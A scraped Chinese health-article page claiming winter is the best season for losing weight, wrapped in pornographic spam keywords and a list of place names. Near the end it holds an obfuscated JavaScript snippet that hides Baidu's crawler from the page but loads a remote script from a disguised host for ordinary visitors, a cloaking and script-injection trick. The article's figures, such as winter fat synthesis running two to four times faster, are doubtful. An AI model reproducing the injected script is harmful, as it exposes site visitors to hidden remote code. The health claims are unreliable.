亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

是夏天減肥快還是冬天快呢?

2017-04-26 18:22:28  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):找到正確的減肥方法,才能取得更好的效果,而且不會(huì)輕易的反彈,那么是夏天減肥快還是冬天快呢?不少人都誤以為夏天才是減肥的最佳時(shí)機(jī),因

找到正確的減肥方法,才能取得更好的效果,而且不會(huì)輕易的反彈,那么是夏天減肥快還是冬天快呢?不少人都誤以為夏天才是減肥的最佳時(shí)機(jī),因?yàn)榇藭r(shí)新陳代謝比較快,容易將體內(nèi)的毒素及廢物排出體外,殊不知夏天減肥之后,到了冬天還是很容易反彈的,因此冬天減肥是不錯(cuò)的選擇。

人體冬季脂肪合成代謝的速度要快于平時(shí)的2~4倍!而脂肪分解代謝的速度要低于平時(shí)的10%。人體的血脂、血膽固醇含量一般在冬季較高,而春夏季較低。因此,冬季減肥是肥胖人士減肥降脂的關(guān)鍵時(shí)機(jī),冬季減肥是最好的季節(jié)。

冬季氣溫下降,人的皮膚血管收縮,胃腸供血量增多消化吸收功能增強(qiáng),胃口好,故冬季是人體最易發(fā)胖的季節(jié),若能在這幾個(gè)月中控制住體重,則發(fā)胖風(fēng)險(xiǎn)大大減少。此外冬季減肥效果最佳,主要得益于環(huán)境氣溫低,以運(yùn)動(dòng)為例,同樣的運(yùn)動(dòng)量在寒冷空氣中所消耗的熱量比在溫暖環(huán)境中多得多。

正常情況下人體溫度要保持在36度左右,所以在外界寒冷的時(shí)候人體就會(huì)努力的發(fā)熱來(lái)確保體溫恒定,也就是人體的基礎(chǔ)代謝要加速,而在夏季的時(shí)候外界溫度比較高,人體消耗的卡路里相對(duì)較少,所以在冬季減肥更有利。

好不容易到了冬季代謝加速的時(shí)候,一定要多出去走走。散步也不會(huì)花什么錢,立即行動(dòng)起來(lái)去散散步吧!散步要堅(jiān)持一小時(shí)才有效果,但是如果難度太大的話30分鐘也完全可以了。如果感覺(jué)堅(jiān)持下來(lái)很困難的話,可以選擇用計(jì)步器等記錄自己走過(guò)的路程,這樣一目了然,目標(biāo)性會(huì)更強(qiáng),也就容易堅(jiān)持下去。

通過(guò)上面的介紹,大家對(duì)是夏天減肥快還是冬天快呢也都一目了然了。既然已經(jīng)知道了冬天是減肥的好時(shí)機(jī),就不能錯(cuò)過(guò)這個(gè)機(jī)會(huì)了。即便冬天減肥的時(shí)候行動(dòng)起來(lái)比較困難,需要有足夠的耐心和毅力,每天堅(jiān)持適當(dāng)運(yùn)動(dòng),合理膳食,最終才能擁有更好的身材。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
杨浦区| 闽侯县| 太和县| 泽普县| 宁蒗| 观塘区| 郓城县| 大庆市| 舟曲县| 商河县| 招远市| 辉南县| 永宁县| 尼木县| 青神县| 剑河县| 万盛区| 江陵县| 汝城县| 西丰县| 育儿| 正安县| 宝山区| 蒲城县| 济南市| 永昌县| 镇江市| 平凉市| 福清市| 湘乡市| 拜城县| 固始县| 庄浪县| 武功县| 昌都县| 萨嘎县| 大埔区| 扶风县| 陆河县| 仪陇县| 石门县|